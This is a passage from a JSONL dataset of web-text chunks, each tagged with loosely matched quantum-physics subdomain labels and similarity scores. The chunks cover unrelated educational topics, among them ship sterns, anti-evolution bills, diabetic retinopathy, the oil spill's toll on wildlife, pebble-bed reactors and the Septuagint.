a few stem posts have been recorded archaeologically and none, to my knowledge, is complete. particularly interesting features of which we do not know much are the reinforcements, such as deadwoods, inner stem posts, cutwaters, and the beak structures. the forecastle was supported by the stem post arrangement, and unfortunately this is an area of which we do not know much. we can only make educated guesses based on information pertaining to later examples. 5. sterns ( popas ) evidence suggests that stern panels appeared around 1500, although one painting in the church of zumaya, in the basque country, dated to c. 1475, shows two vessels with stern panels ( brad lowen pers. comm. ). richard barker ( pers. comm. ) reminds us that paintings were often restored and changed in the process of restoration. gudgeons found on the molasses reef shipwreck, probably portuguese - probably dating to the very early 16th century, and perhaps even dating to the late 15th century, in the time of the earliest portuguese voyages to the new world, such as the ones mentioned by duarte pacheco pereira - show that had a stern panel. it is by no means sure that portuguese indiamen had stern panels in the first half of the 16th century. iconography shows these ships with both square sterns and round sterns with square tucks. only a few archaeological examples have survived, together with a drawing by joao baptista lavanha, included in his treatise livro primeiro de arquitectura naval, that dates to c. 1600 :", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.462292533523769, "token_count": 405, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.290023"} {"text": "the poole bills, also called \" poole monkey bills, \" were a series of attempts in the 1920s by general assembly member d. scott poole to outlaw the teaching of evolution in state - supported schools. inspired by actions of the tennessee legislature that precipitated the infamous scopes trial of 1920, and backed by fundamentalist forces centered around a committee of 100 churchmen of the north carolina presbyterian synod, poole introduced his first bill in 1925 and saw it defeated by a narrow margin. in february 1927 poole ' s bill was reintroduced and defeated in committee by a margin of 25 to 11 after a rousing speech by paul j. ryan, a law student at the university of north carolina in chapel hill. victory for the bill ' s opponents was widely attributed to some presentations and debates in charlotte sponsored by former students of horace williams ( 1858 - 1940 ), the controversial philosophy professor at unc - chapel hill. the evolution controvery in north carolina in the 1920 ' s, unc libraries : primary sources : http : / / www. lib. unc. edu / ncc / evolution / primarysources. html glossary : http : / / www. lib. unc. edu / ncc / evolution / glossary. html 1 january 2006 | mills, jerry leath", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.454882065055363, "token_count": 265, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.291248"} {"text": "| glaucoma | | diabetic eye disease | | low vision | | healthy eyes | send free e - cards diabetic eye disease faq diabetes is a very serious disease that can cause problems such as blindness, heart disease, kidney failure, and amputations. but by taking good care of yourself through diet, exercise, and special medications, you can control diabetes. and there is more good news. diabetic eye disease, a complication of diabetes, can be treated before vision loss occurs. all people with diabetes need to get a comprehensive dilated eye exam at least once a year. what is diabetic eye disease? diabetic eye disease refers to a group of eye problems that people with diabetes may face as a complication of this disease. all can cause severe vision loss or even blindness. diabetic eye disease includes : what is the most common diabetic eye disease? diabetic retinopathy. this disease is a leading cause of blindness in american adults. it is caused by changes in the blood vessels of the retina. in some people with diabetic retinopathy, retinal blood vessels may swell and leak fluid. in other people, abnormal new blood vessels grow on the surface of the retina. these changes may result in vision loss or blindness. what are its symptoms? there are often no symptoms in the early stages of diabetic retinopathy. there is no pain and vision may not change until the disease becomes severe. blurred vision may occur when the macula ( the part of the retina that provides sharp, central vision ) swells from the leaking fluid. this condition is called macular edema. if new vessels have grown on the surface of the retina, they can bleed into the eye, blocking vision. even in more advanced cases, the disease may progress a long way without symptoms. this symptomless progression is why regular eye examinations for people with diabetes are so important. who is most likely to get diabetic retinopathy? anyone with diabetes. the longer someone has diabetes, the more likely he or she will get diabetic retinopathy. between 40 - 45 percent of those with diagnosed diabetes have some degree of diabetic retinopathy. how is diabetic retinopathy detected? if you have diabetes, you should have your eyes examined at least once a year. your eyes should be dilated during the exam, which means eyedrops are used to enlarge your pupils.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48290344580567757, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.293541"} {"text": "restore the gulf, the official federal government ' s website about the deepwater horizon oil spill, has issued its latest report in an attempt to track the effect of the bp oil spill on animals in the region. the group consolidates numbers from experts on the ground, including the u. s. fish and wildlife service and the national oceanic and atmospheric administration. what are the current counts from the november 1st report? the latest numbers are : 6, 104 dead birds, 609 dead sea turtles and 100 dead mammals, including dolphins. the tallies include counts for five states : alabama, florida, louisiana, mississippi and texas. it must be noted that the report constitutes only an initial, field - level evaluation. not all of the deaths were necessarily caused by deepwater horizon. final determination of cause of death comes later. when found or captured, the specimens get identification numbers. after initial counts, more thorough examinations of the birds and wildlife may include a search for oil in the throat, mouth and eyes, as well as a necropsy to rule if the spill was to blame. the report also catalogs the number of birds and wildlife that have been collected alive and how many of those were visibly oiled. experts collected 535 living sea turtles, 456 of which were visibly oiled. mammals fared better, with two out of nine live mammals collected visibly oiled. worst were the birds : 2, 079 have been collected alive, every single one of them visibly oiled. the report admits their counts may include birds and wildlife felled by natural causes. photo : associated press", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4108157499625994, "token_count": 320, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.297771"} {"text": "saturday, may 29 ( healthday news ) \u2014 about 6, 000 americans under the age of 14 are hospitalized each year because of a diving injury, and 20 percent of diving accidents result in a severe spinal cord injury, researchers say. to encourage diver safety, university of michigan ( u - m ) researchers urge bathers to use caution near any body of water and to jump feet first in shallow water or if the depth is unknown. \u201c our neurosurgery team here at u - m knows how heartbreaking spinal cord injuries can be, \u201d karin muraszko, chair of the department of neurosurgery and chief of pediatric neurosurgery, said in a news release. \u201c we can provide these patients with top - notch, state - of - the - art care, but we \u2019 d much rather they are not hurt to begin with. we can \u2019 t put the spinal cord back together. so the best thing we can do is prevent these injuries. \u201d you don \u2019 t have to hit bottom to get injured, the team pointed out. \u201c the surface tension on the water can be enough to injure the spinal cord, \u201d cautioned dr. shawn hervey - jumper, a neurosurgery resident, in the same news release. the spinal cord transmits signals from the brain to a muscle. when the spinal cord gets injured, the brain \u2019 s signal is blocked, hervey - jumper explained. to drive home the message, the department of neurosurgery has launched a series of public service announcements and videos that will air at movie theaters in michigan this summer. \u201c just think if you could never get out of a seat, think if you woke up in the morning and couldn \u2019 t get yourself out of bed, \u201d josh weber, a 32 - year - old michigan resident injured in a diving accident, says in one video. \u201c you really need to think about your actions because your life can change in a split - second. it kind of opens up your eyes and you understand that life is fragile. \u201d and, weber adds, \u201c don \u2019 t think it couldn \u2019 t happen to you. it could happen to anyone. \u201d for more on life with a spinal cord injury, visit the american occupational therapy association. \u2013 alan mozes source : university of michigan, news release, may 26, 2010 last updated : may 29, 2010 copyright \u00a9 2010 healthday. all rights reserved.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45563532752088076, "token_count": 494, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.300160"} {"text": "features include interactive map, in - depth stories, and more. download now. \u00bb the week ' s top five must - sees, delivered to your inbox. hamburg, officially free and hanseatic city of hamburg, is the second largest city in germany and the sixth largest city in the european union. it is also the thirteenth largest german state. the city is home to over 1. 8 million people, while the hamburg metropolitan region has more than 5 million inhabitants. situated on the river elbe, the port of hamburg is the second largest port in europe and tenth largest worldwide. hamburg ' s official name, free and hanseatic city of hamburg, reflects hamburg ' s history as a member of the medieval hanseatic league, as a free imperial city of the holy roman empire, and that hamburg is a city - state and one of the sixteen states of germany. before the 1871 unification of germany, hamburg was a fully sovereign state of its own. prior to the constitutional changes in 1919, the stringent civic republic was ruled by a class of hereditary grand burghers or hanseaten. hamburg is a major transport hub in northern germany and is one of the most affluent cities in europe. it has become a media and industrial centre, with plants and facilities belonging to airbus, blohm + voss and aurubis. the radio and television broadcaster norddeutscher rundfunk and publishers such as gruner + jahr and spiegel - verlag are pillars of the important media industry in hamburg. hamburg has been an important financial centre for centuries, and is the seat of the world ' s second oldest bank, berenberg bank. in total, there are more than 120, 000 enterprises. ( via freebase )", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4613738229365938, "token_count": 353, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.302027"} {"text": "after seven years of keeping sugar from genetically modified sugar beets out of their food, kellogg, hershey \u2019 s and the wyoming based american crystal sugarwill use sugar made from genetically modified ( gm ) beets. the decision marks a turnaround for crystal sugar, the nation \u2019 s largest sugar producer, which declared in may of this year that it had no plans to use gm sugar beets, and indicated that herbicide - resistant varieties developed using biotechnology would not \u201c be sold, given away, distributed, or planted in year 2007. \u201d but according to a recent article in the glyphosate based herbicide roundup is widely used to kill weeds, but is strong enough to kill crops. a genetically modified beet is resistant to roundup, allowing farmers to kill the weeds and keep the beets. but the health risks of glyphosate are poorly understood. some studies have connected glyphosate exposure to cancer, organ damage in animals, human reproduction and fetal development. glyphosate has also created super - weeds, resistant to the herbicide much like humans are becoming resistant to some antibiotics. genetically modified foods can also spread and interbreed with non - gm crops, reducing crop diversity and creating other, uncontrollable super - weeds. while the ecological and health issues are debated, the often overlooked factor in the increasing use of gm seed and food is that it gives monsanto a great deal of control over the production of food. a handful of corporations like monsanto are involved in agricultural biotechnology. their products of genetically modified corn, soybeans and sugar beets are then patented much like the work of other inventors in order to limit the way seeds can be used and distributed. biotech patents have been controversial however because the companies are patenting biology, dna, the basic structure of life and then claiming it as their invention in order to sell it. these patents have already caused problems for farmers and ranchers. in the last decade, farmers whose non - gm crops inadvertently breed with monsanto \u2019 s genetically modified and patent protected crops have actually been sued for illegally growing monsanto \u2019 s seed. in 2000, monsanto sued a canadian farmer when a neighboring farm \u2019 s roundup ready crops went to seed and mixed with the their crops. nelson farms of north dakota is also being sued for saving roundup ready seed and planting it the next year. while saving seed is the ancient and core practice of farming, farmers sign a monsanto agreement not to save or share any", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4453369430395186, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.306003"} {"text": "the their crops. nelson farms of north dakota is also being sued for saving roundup ready seed and planting it the next year. while saving seed is the ancient and core practice of farming, farmers sign a monsanto agreement not to save or share any seed. while organizations like the organic consumers organization \u2019 s millions against monsanto campaign against biotechnology, monsanto continues to develop new seed technologies. as it expands the number of patents it has on those technologies it will also expand its power to sue individual producers and control the market. in doing so, vandana shiva, a physicist, farmers \u2019 rights activist and author of monocultures of the mind argues that farmers and ranchers using gm seeds will continue to find themselves limited by gm seed rather than enabled by it. as she writes, \u201c corporate strategies and products can lead to diversification of commodities ; they cannot enrich nature \u2019 s diversity. \u201d even so, the rocky mountain west has become a testing ground for genetically modified foods. in 2001 roundup ready wheat was grown in fields in idaho and washington and gm alfalfa grown in idaho. genetically modified beets have already been grown on 300 acres in idaho during test trials for monsanto and another 2, 200 acres in wyoming \u2019 s big horn basin. while sugar beet farmers await the outcome of these trials and the products full release next year, the sugar industry is keeping a low profile about their use of gm beets in order to reduce the chance of a public outcry according to the new york times. to further protect its interests, monsanto recently hired parven pomper schulyer inc. to lobby the federal government on agriculture, trade and tax issues. those registered to lobby for monsanto include brian pomper, who served as chief international trade counsel for montana senator max baucus from 1997 to 2003, beau schuyler, who was legislative director to rep. john tanne ; and melissa wier, former assistant to the chief of staff to sen. tom carper. with this effort and continued growth in gm foods, monsanto \u201c expects to double the gross profit potential of business from the end of 2007 through 2012. \u201d", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4494036376650007, "token_count": 437, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.306954"} {"text": "schematic of the htr - pm ( high temperature reactor pebble bed module ) link is to eight page design paper. a 200 mwe high temperature reactor will be the safest nuclear power plant ever designed and built. high temperature reactors can be adapted to use thorium for fuel and the plan is for factory mass produced reactors. two year construction times and mass production driving costs down to less than half the cost of the first units. china sees these as supplemental reactors to the big reactors. they will be used in smaller cities and towns and by factories for generating industrial heat. also, they are looking to use heat for hydrogen generation, desalination and coal liquification ( at least that would be cleaner than straight coal burning ). the major safety issue regarding nuclear reactors lies in how to cool them efficiently, as they continue to produce residual heat even after shutdown. gas - cooled reactors discharge surplus heat and don \u2019 t need additional safety systems like water - cooled reactors do. the htr - 10 was subject to a test of its intrinsic safety in september 2004 when, as an experiment, it was shut down with no cooling. fuel temperature reached less than 1600 c and there was no failure. \u201c using the existing operating htr - 10 reactor at the institute of nuclear and new energy technology of tsinghua university in beijing, we have already done what would be unthinkable in a conventional reactor \u2014 we switched off the helium coolant and successfully let the reactor cool down by itself, \u201d said wu. a simpler, more rational way to think about nuclear safety : four levels of safety * [ definition developed by professor lawrence lidsky, massachusetts institute of technology. ] no hazardous materials or confined energy sources. no need for active systems in event of subsystem failure. immune to major structural failure and operator error. no need for active systems in event of subsystem failure. no immunity to major structural failure or operator error. positive response required to subsystem malfunction or operator error. defense in depth. no immunity to major structural failure. the mhr is the only reactor that meets the criterion of level 1 safety. second, the modular design enables the plant to be assembled much quicker and cost - effectively than traditional nuclear generators. its streamlined construction timetable is also a first for the nuclear power industry, where designing and building generators usually take decades, rather than years. the modules are manufactured from standardized components that can be mass - produced, shipped by road or rail and assembled relatively quickly. the new plants", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.524452608517415, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.314356"} {"text": "is also a first for the nuclear power industry, where designing and building generators usually take decades, rather than years. the modules are manufactured from standardized components that can be mass - produced, shipped by road or rail and assembled relatively quickly. the new plants are smaller and new modules can be added as needed. multiple reactors can be linked around one or more turbines, all monitored from a single control room. the site of the shidaowan project will install 18 additional modules, which will total 3, 800 mwe. a demonstration high - temperature gas - cooled reactor, the htr - pm of 200 mwe was approved in november 2005, to be built at shidaowan, near rongcheng in weihai city, shandong province by huaneng shidaowan nuclear power company. this consortium is led by the china huaneng group co. - the country ' s largest generating utility but hitherto without nuclear capacity. the project received environmental clearance in march 2008 for construction start in 2009 and commissioning by 2013. the modular high temperature pebble bed reactor should also use half of the steel and one third of the concrete of light water reactors. a 10 mwt high - temperature gas - cooled demonstration reactor ( htr - 10 ), having fuel particles compacted with graphite moderator into 60mm diameter spherical balls ( pebble bed ) was commissioned in 2000 by the institute of nuclear energy technology ( inet ) at tsinghua university near beijing. it reached full power in 2003 and has an outlet temperature of 700 - 950\u00b0c and may be used as a source of process heat for heavy oil recovery or coal gasification. it is similar to the south african pbmr intended for electricity generation. it was subject to a test of its intrinsic safety in september 2004 when as an experiment it was shut down with no cooling. fuel temperature reached less than 1600\u00b0c and there was no failure. initially the htr - 10 has been coupled to a steam turbine power generation unit, but second phase plans are for it to operate at 950\u00b0c and drive a gas turbine, as well as enabling r & d in heat application technologies. this phase will involve an international partnership with korea atomic energy research institute ( kaeri ), focused particularly on hydrogen production. a key r & d project is the demonstration shidaowan htr - pm of 200 mwe ( two reactor modules, each of 250 mwt ) which is being built at shidaowan in shandong province, driving a single steam turbine at about 40", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5443420265153893, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.315390"} {"text": "& d project is the demonstration shidaowan htr - pm of 200 mwe ( two reactor modules, each of 250 mwt ) which is being built at shidaowan in shandong province, driving a single steam turbine at about 40 % thermal efficiency. the 40 % efficiency of a mhr driving steam can turbine can be seen. china will switch to higher efficiency gas turbine cycle in later versions. the size was reduced to 250 mwt from earlier 458 mwt modules in order to retain the same core configuration as the prototype htr - 10 and avoid moving to an annular design like south africa ' s pbmr. china huaneng group, one of china ' s major generators, is the lead organization in the consortium with china nuclear engineering & construction group ( cnec ) and tsinghua university ' s inet, which is the r & d leader. chinergy ( a 50 - 50 joint venture of inet and cnec ) is the main contractor for the nuclear island. projected cost is us $ 430 million, with the aim for later units being us $ 1500 / kwe. the licensing process is under way with nnsa and construction is likely to start early in 2009 with completion expected in 2013. the htr - pm will pave the way for 18 ( 3x6 ) further 200 mwe units at the same site in weihai city - total 3800 mwe - also with steam cycle. inet is in charge of r & d, and is aiming to increase the size of the 250 mwt module and also utilise thorium in the fuel. eventually a series of htrs, possibly with brayton cycle directly driving the gas turbines, will be factory - built and widely installed throughout china. in march 2005 an agreement between pbmr of south africa and chinergy of beijing was announced. pbmr pty ltd is has been taking forward the htr concept ( based on earlier german work ) since 1993 and is ready to build a 125 mwe demonstration plant. chinergy co. is drawing on the small operating htr - 10 research reactor at tsinghua university which is the basis of their 100 mwe htr - pm demonstration module which also derives from the earlier german development. both pbmr and htr - pm are planned for operation about 2013. the new agreement is for cooperation on the demonstration projects and subsequent commercialisation, since both parties believe that the inherently safe pebble bed technology built in relatively small units will eventually displace", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5328175519185865, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.317272"} {"text": "over the next two weeks, next city will unroll short profiles of 77 people, places and ideas that have changed cities this year. together, they make up our 2012 disruption index. forefront subscribers can download the index in full as a pdf, complete with beautiful designs and graphics by danni sinisi. readers who make a $ 75 donation to next city will have a full - color printed copy of the index mailed to them. poverty tends to concentrate and reinforce itself. this is no surprise to the u. s. department of housing and urban development, which has watched for decades as its housing projects devolved into pits of criminality and hopelessness. in the 1990s, the department decided to try something new. as a sort of test, it launched a program called moving to opportunity for fair housing that relocated public housing residents from high - poverty areas to low - poverty areas to see what would happen. hud figured this would help bring people out the downward cycle of poverty. but research published this year in the journal science found that moving didn \u2019 t really result in any economic gains. however, it did greatly improve the mental and physical health of the people who moved, as well as their sense of personal wellbeing. some discounted the effort as a failure ; poor people stay poor even if you move them to richer neighborhoods, the findings suggest. but xavier de souza briggs, a professor of sociology and urban planning at the massachusetts institute of technology and co - author of the book moving to opportunity, says the results are actually important signs that the program, in some ways, is a success. \u201c \u2018 quality of life \u2019 sounds like a consolation prize until you think about what it would be like to raise your kids in an urban war zone, \u201d briggs says, \u201c which is what these neighborhoods were, especially at the height of the crack epidemic in the early 1990s, when the experiment launched. \u201d", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46874991445457487, "token_count": 383, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.319446"} {"text": "in girl in forest, mount macedon frederick mccubbin revisits a central theme in his oeuvre : the activities of children in the australian bush. he had previously painted scenes of children lost in the bush \u2013 narratives of innocence and vulnerability within the landscape. mccubbin also explored the magical worlds invented by children through storytelling and imagination. in works such as what the little girl saw in the bush 1904 ( private collection, reproduced p. 28 ) he sought to capture ideas of creative freedom and expression that children unselfconsciously bring to their surrounds. in girl in forest, mount macedon a young girl wanders through the bush carrying a basket, possibly collecting wildflowers or berries. she is small beside the large trees and thick growth, her white dress setting her apart from her environment. mccubbin has paid close attention to the study of dappled light through trees and foliage. areas of the canvas appear abstracted and flecks of colour are layered over each other using a palette knife. moving back from the work the scene comes into focus \u2013 a glorious image of gold, pink and violet ; bracken, bark and gum. girl in forest, mount macedon depicts the bush close to \u2018 fontainebleau \u2019, the mccubbin \u2019 s residence at mount macedon about 60 kilometres north - west of melbourne. the child in the image is the artist \u2019 s youngest daughter, kathleen, who posed for her father numerous times.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45023434420934294, "token_count": 296, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.320876"} {"text": "your guide to the twin cities 5 - day print and 7 - day e - edition versions of the star tribune available for your classrooms. the 2013 - 14 catalog is ready for you to start planning. the star tribune newspaper connects kids to the real world. it ' s a textbook that is updated daily and a collection of history as it happens. for more info call 612 - 673 - 4929 or 1 - 800 - 927 - 9131. weekly features ( updated every monday ) tap the wealth of information in your newspaper as a teaching tool : daily science webcasts for a special pair of ospreys, \" virginia is for lovers \". - - jun 20, 2013 helping kids cope with natural disasters unfortunately, natural disasters do happen, and people are often affected adversely. it \u2019 s a traumatic time for everyone, but can be especially distressing to children. as a parent, caregiver or educator, you can help children cope by monitoring their emotional state, answering their questions, and creating opportunities to connect with family, friends, and the larger community. download a lesson based on political cartoons and print it out for use in your classroom. ( pdf format ) diversity, multiculturalism, worldwide events. you ' ll find plenty for classroom discussions in this listing of events.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4517602185756678, "token_count": 261, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.322473"} {"text": "corvallis, ore. \u2013 a new study has found that each step of the marine food chain is clearly controlled by the trophic level below it \u2013 and the driving factor influencing that relationship is not the abundance of prey, but how that prey is distributed. the importance of the spatial pattern of resources \u2013 sometimes called \u201c patchiness \u201d \u2013 is gaining new appreciation from ecologists, who are finding the overall abundance of food less important than its density and ease of access to it. results of the study are being published this week in the royal society journal biology letters. kelly benoit - bird, an oregon state university oceanographer and lead author on the study, said patchiness is not a new concept, but one that has gained acceptance as sophisticated technologies have evolved to track relationships among marine species. \u201c the spatial patterns of the resource ultimately determine how the ecosystem functions, \u201d said benoit - bird, who received a prestigious macarthur fellowship in 2010. \u201c in the past, ecologists primarily used biomass as the determining factor for understanding the food chain, and the story was always rather muddled. we used to think that the size and abundance of prey was what mattered most. \u201c but patchiness is not only ubiquitous in marine systems, it ultimately dictates the behavior of many animals and their relationships to the environment, \u201d she added. benoit - bird specializes in the relationship of different species in marine ecosystems. in one study in the bering sea, she and her colleagues were estimating the abundance of krill, an important food resource for many species. closer examination through the use of acoustics, however, found that the distribution of krill was not at all uniform \u2013 which the researchers say explained why two colonies of fur seals and seabirds were faring poorly, but a third was healthy. \u201c the amount of food near the third colony was not abundant, \u201d she said, \u201c but what was there was sufficiently dense \u2013 and at the right depth \u2013 that made it more accessible for predation than the krill near the other two colonies. \u201d the ability to use acoustics to track animal behavior underwater is opening new avenues to researchers. during their study in the bering sea, benoit - bird and her colleagues discovered that they could also use sonar to plot the dives of thick - billed murres, which would plunge up to 200 meters below the surface in search of the krill. although the krill were spread throughout the water column, the murres ended up focusing on areas where the patches of krill were the densest. \u201c", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5298967605653118, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.336135"} {"text": ", which would plunge up to 200 meters below the surface in search of the krill. although the krill were spread throughout the water column, the murres ended up focusing on areas where the patches of krill were the densest. \u201c the murres are amazingly good at diving right down to the best patches, \u201d benoit - bird pointed out. \u201c we don \u2019 t know just how they are able to identify them, but 10 years ago, we wouldn \u2019 t have known that they had that ability. now we can use high - frequency sound waves to look at krill, different frequencies to look at murres, and still others to look at squid, dolphins and other animals. \u201c and everywhere we \u2019 ve looked the same pattern occurs, \u201d she added. \u201c it is the distribution of food, not the biomass, which is important. \u201d an associate professor in the college of earth, ocean, and atmospheric sciences at oregon state university, benoit - bird has received young investigator or early career awards from the office of naval research, the white house and the american geophysical union. she also has received honors from the acoustical society of america, which has used her as a model scientist in publications aimed at middle school students. her work has taken her around the world, including hawaii where she has used acoustics to study the sophisticated feeding behavior of spinner dolphins. those studies, she says, helped lead to new revelations about the importance of patchiness. ocean physics in the region results in long, thin layers of phytoplankton that may stretch for miles, but are only a few inches thick and a few meters below the surface. benoit - bird and her colleagues discovered a layer of zooplankton \u2013 tiny animals that feed on the plankton \u2013 treading water a meter below to be near the food source. next up in the food chain were micronekton, larger pelagic fish and crustaceans that would spend the day 600 to 1, 000 meters beneath the surface, then come up to the continental shelf at night to target the zooplankton. and the spinner dolphins would emerge at night, where they could reach the depth of the micronekton. \u201c the phytoplankton were responding to ocean physics, \u201d benoit - bird said, \u201c but all of the others in the food chain were targeting their prey by focusing on the densest patches. we got to the point where we could predict with 70 percent accuracy where the dolphins would show up", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4982227727944516, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.339311"} {"text": "| line 107 : | | line 107 : | revision as of 05 : 15, january 25, 2013 | this article forms part of the series on the | the old testament - septuagint | or simply \" lxx \", the koine greek version | of the hebrew bible. | pentateuch or \" the law \" | | 1. genesis | 2. exodus | 3. leviticus | 4. numbers | 5. deuteronomy | | 6. joshua | 7. judges | 8. ruth | 9. i kingdoms | 10. ii kingdoms | 11. iii kingdoms | 12. iv kingdoms | books of wisdom | | 24. book of psalms | 25. job | 26. proverbs | 27. ecclesiastes | 28. song of solomon 29. wisdom of solomon | 30. wisdom of sirach | the minor prophets, or \" the twelve \" | | the major prophets | | iv maccabees | the old testament is first of the two divisions of holy scripture. according to historians, the old testament was composed between the 5th century bc and the 2nd century bc, though parts of it, such as the torah, and song of deborah ( judges 5 ), date back much earlier. - and he said unto them, these are the words which i spake unto you, while i was yet with you, that all things must be - fulfilled, which were written in the law of moses, and in the prophets, and in the psalms, concerning me. ( kjv ) the term old testament itself is a translation of the latin vetus testamentum, from the greek \u03b7 \u03c0\u03b1\u03bb\u03b1\u03b9\u03b1 \u03b4\u03b9\u03b1\u03b8\u03b7\u03ba\u03b7 ( he palaia diatheke ), all meaning \" the old covenant \" ( or \" testament \" ). the latin rendered testament in english originally came from the latin for \" witness \" and from there expanded to mean \" to make a will \" ; thus, though it is purported to be synonymous with \" covenant, \" it has a distinct legal flavoring. further semantic extensions in english have made the english term more ambiguous. the orthodox church also numbers among the genuine books of the old testament the so - called apocryphal books, literally meaning the \" secret \" or \" hidden \" writings. a less protestant - biased term for these parts of scripture is the deuterocanonical writings. the five books of the law the five books of the law are the first five books of the old testament, known jointly as the pen", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4776147402425072, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.346713"} {"text": "\" writings. a less protestant - biased term for these parts of scripture is the deuterocanonical writings. the five books of the law the five books of the law are the first five books of the old testament, known jointly as the pentateuch ( gr. \u03c0\u03b5\u03bd\u03c4\u03b1\u03c4\u03b5\u03c5\u03c7\u03bf\u03c2, literally five volumes ), and they describe god ' s creation of the world, the rebellion of adam and eve and the fall of man. these books are also called the books of moses. they detail the early history of god ' s people of israel from the days of abraham ( ca. 2000 bc ) right through to the era of moses ( ca. 1250 bc ). the five books of the law are : - genesis, meaning \" beginning \" - exodus, meaning \" exit \" or \" departure \" - deuteronomy, meaning \" second law \" although scholars believe that the law was not written by the personal hand of moses, and that the books show evidence of being the result of a number of oral and written traditions and time periods, the church connects the law with moses, the great man of god to whom \" the lord used to speak... face to face, as a man speaks to his friend \" ( exodus 33 : 11 ). the books of history the second section of the lxx old testament is known as the historical books. this group covers the history of israel from the settlement in the promised land of canaan to the first centuries before christ. - third and fourth kingdoms - first and second chronicles - i paraleipomenon ( i chronicles ) - ii paraleipomenon ( ii chronicles ) - i esdras - ii esdras ( ezra ) - the final books in the canon of the orthodox church \u2014 which is generally that of the septuagint, the greek translation of the hebrew bible \u2014 1 & 2 samuel are called 1 & 2 kings ; and 1 & 2 kings are called 3 & 4 kings. also, the so - called apocryphal books, listed above ( i esdras, ii esdras, tobit, judith, i maccabees, ii maccabees, iii maccabees, iv maccabees ), are considered by the orthodox as genuine parts of the bible. the old testament apocrypha is a body of writings considered by the non - orthodox to be of close association with the bible, but not actually part of its official canonical contents. the historical books of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47174180741750976, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.348918"} {"text": "the orthodox as genuine parts of the bible. the old testament apocrypha is a body of writings considered by the non - orthodox to be of close association with the bible, but not actually part of its official canonical contents. the historical books of the bible were written well after the events described in them actually took place. the wisdom books include job, psalms, proverbs, ecclesiastes, and the song of solomon, as well as the wisdom of jesus, son of sirach, also called ecclesiasticus, and the wisdom of solomon from the so - called apocrypha. - prayer of manasseh - song of solomon ( song of songs or canticle of canticles ) - wisdom of solomon - wisdom of sirach ( wisdom of jesus, son of sirach, also called ecclesiasticus ) although not technically a wisdom book, the prayer of manasseh from the so - called apocrypha, is a penitential prayer of the king of judah, which for the orthodox is part of the bible. ( it is included in the great compline service of the orthodox church. ) 16 books in the old testament are called by the names of prophets, although not necessarily written by their hands. a prophet is one who speaks the word of god by direct divine inspiration, not just one who foretells the future. four of the prophetic books are those of the so - called major prophets : the books of the 12 so - called minor prophets : some orthodox churches include :", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45392943067341995, "token_count": 313, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.349664"} {"text": "timeline of church history ( modern era ( 1821 - 1917 ) ) | timeline of church history | | this article forms 